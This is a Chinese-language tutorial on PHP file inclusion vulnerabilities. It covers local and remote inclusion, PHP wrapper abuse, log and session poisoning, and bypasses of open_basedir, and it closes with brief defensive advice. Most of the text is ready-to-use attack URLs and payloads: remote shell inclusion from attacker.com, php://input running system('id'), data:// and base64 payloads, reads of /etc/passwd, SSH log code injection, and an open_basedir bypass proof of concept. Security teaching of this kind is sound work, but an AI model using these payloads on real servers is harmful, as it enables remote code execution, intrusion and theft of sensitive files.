文件包含
字数 1443 2025-08-12 11:33:41
PHP文件包含漏洞全面解析与利用技术
一、文件包含基础概念
1.1 文件包含的定义与作用
文件包含是PHP开发中的常见技术,开发者使用include、require等函数将重复利用的代码包含到当前文件中,以提高开发效率和代码复用性。
1.2 文件包含函数对比
| 函数 | 文件不存在时 | 重复包含时 |
|---|---|---|
| include | 跳过,继续执行 | 再次包含 |
| require | 报错,停止执行 | 再次包含 |
| include_once | 跳过,继续执行 | 不包含 |
| require_once | 报错,停止执行 | 不包含 |
二、文件包含漏洞原理
当开发者使用变量作为文件包含参数且过滤不严时,攻击者可利用此特性包含恶意文件并执行。PHP底层机制会将任何被包含的文件当作PHP代码解析,即使文件扩展名不是.php。
三、本地文件包含(LFI)
3.1 基本利用
示例代码:
include $_GET['filename'];
攻击方式:
http://example.com/include.php?filename=trojan.jpg
其中trojan.jpg包含PHP恶意代码,会被服务器解析执行。
3.2 特殊字符截断技术
当代码固定添加后缀时:
include $_GET['filename'] . '.html';
可利用?或#截断:
http://example.com/include.php?filename=http://attacker.com/a.txt%23
实际包含内容为a.txt,忽略.html后缀。
四、远程文件包含(RFI)
4.1 前提条件
allow_url_fopen = Onallow_url_include = On
4.2 基本利用
http://example.com/include.php?filename=http://attacker.com/shell.php
五、PHP伪协议利用
5.1 php://input
获取POST请求体内容并执行:
http://example.com/include.php?filename=php://input
POST请求体:
<?php system('id'); ?>
5.2 data://
直接执行代码:
http://example.com/include.php?filename=data:text/plain,<?php phpinfo();?>
或使用base64编码:
http://example.com/include.php?filename=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
5.3 zip://
读取压缩文件内容:
http://example.com/include.php?filename=zip://archive.zip%23file.php
可绕过扩展名检查,如使用.jpg扩展名:
http://example.com/include.php?filename=zip://archive.jpg%23shell.php
5.4 phar://
类似zip协议,但使用/分隔:
http://example.com/include.php?filename=phar://archive.zip/file.php
5.5 php://filter
读取文件源码(不执行):
http://example.com/include.php?filename=php://filter/read=convert.base64-encode/resource=config.php
5.6 file://
读取本地文件:
http://example.com/include.php?filename=file:///etc/passwd
六、日志文件包含技术
6.1 Apache日志包含
- 通过User-Agent或请求路径注入PHP代码
- 包含日志文件执行代码:
http://example.com/include.php?filename=/var/log/apache2/access.log
6.2 SSH日志包含
- 通过SSH连接注入代码:
ssh "<?php phpinfo();?>"@target_ip
- 包含SSH日志:
http://example.com/include.php?filename=/var/log/auth.log
七、Session文件包含
7.1 利用条件
- 代码中有
$_SESSION['name']等操作 - 知道session存储路径(通过phpinfo)
- 获取session ID(通过Cookie)
7.2 利用步骤
- 修改session内容为PHP代码
- 包含session文件:
http://example.com/include.php?filename=/tmp/sess_[sessionid]
八、open_basedir绕过技术
8.1 命令执行绕过
PHP系统命令不受open_basedir限制:
system('cat /etc/passwd');
8.2 ini_set()配合chdir()
使用固定POC:
mkdir('bypass');
chdir('bypass');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
8.3 glob协议
遍历目录不受限制:
http://example.com/include.php?filename=glob:///*.txt
8.4 工具利用
使用哥斯拉(GoDzilla)等工具自动化绕过。
九、防御措施
- 避免使用动态包含变量
- 设置
open_basedir限制访问范围 - 关闭不必要的PHP配置:
allow_url_fopen = Offallow_url_include = Off
- 对包含参数进行严格过滤
- 使用白名单机制限制可包含文件
十、总结
文件包含漏洞危害严重,可导致任意代码执行、敏感信息泄露等后果。攻击技术多样,包括本地/远程文件包含、各种伪协议利用、日志文件包含等。防御需要从配置、代码、权限等多方面入手,建立纵深防御体系。